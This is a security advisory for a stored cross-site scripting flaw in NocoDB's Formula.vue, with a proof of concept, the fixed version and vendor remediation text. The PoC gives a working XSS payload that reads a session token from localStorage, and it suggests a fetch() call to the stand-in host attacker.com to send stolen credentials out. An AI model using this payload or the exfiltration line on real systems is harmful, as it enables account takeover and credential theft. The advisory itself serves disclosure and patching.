GHSA-h6r4-xvw6-jc5h
HIGHNocoDB Vulnerable to Stored Cross-Site Scripting in Formula.vue
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
Weekly download volume for affected packages — a proxy for how broadly this vulnerability is deployed.
nocodbnpmDescription
Summary
A stored cross-site scripting vulnerability exists within the Formula virtual cell comments functionality.
Details
The nc-gui/components/virtual-cell/Formula.vue displays a v-html tag with the value of "urls" whose contents are processed by the function replaceUrlsWithLink(). This function recognizes the pattern URI::(XXX) and creates a hyperlink tag <a> with href=XXX. However, it leaves all the other contents outside of the pattern URI::(XXX) unchanged, which makes the evil users can create a malicious table with a formula field whose payload is <img src=1 onerror="malicious javascripts"URI::(XXX). The evil users then can share this table with others by enabling public viewing and the victims who open the shared link can be attacked.
PoC
Step 1: Attacker login the nocodb and creates a table with two fields, "T" and "F". The type of field "T" is "SingleLineText", and the type of the "F" is "Fomula" with the formula content {T} Step 2: The attacker sets the contents of T using <img src=1 onerror=alert(localStorage.getItem('nocodb-gui-v2'))URI::(XXX) Step 3: The attacker clicks the "Share" button and enables public viewing, then copies the shared link and sends it to the victims Step 4: Any victims who open the shared link in their browsers will see the alert with their confidential tokens stored in localStorage
The attackers can use the fetch(http://attacker.com/?localStorage.getItem('nocodb-gui-v2')) to replace the alert and then steal the victims' credentials in their attacker.com website.
Impact
Stealing the credentials of NocoDB user that clicks the malicious link.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | nocodb | all versions | 0.202.9 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for nocodb. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update nocodb to 0.202.9 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-h6r4-xvw6-jc5h is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-h6r4-xvw6-jc5h is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-h6r4-xvw6-jc5h. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-h6r4-xvw6-jc5h in your dependencies?
O3 detects GHSA-h6r4-xvw6-jc5h across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.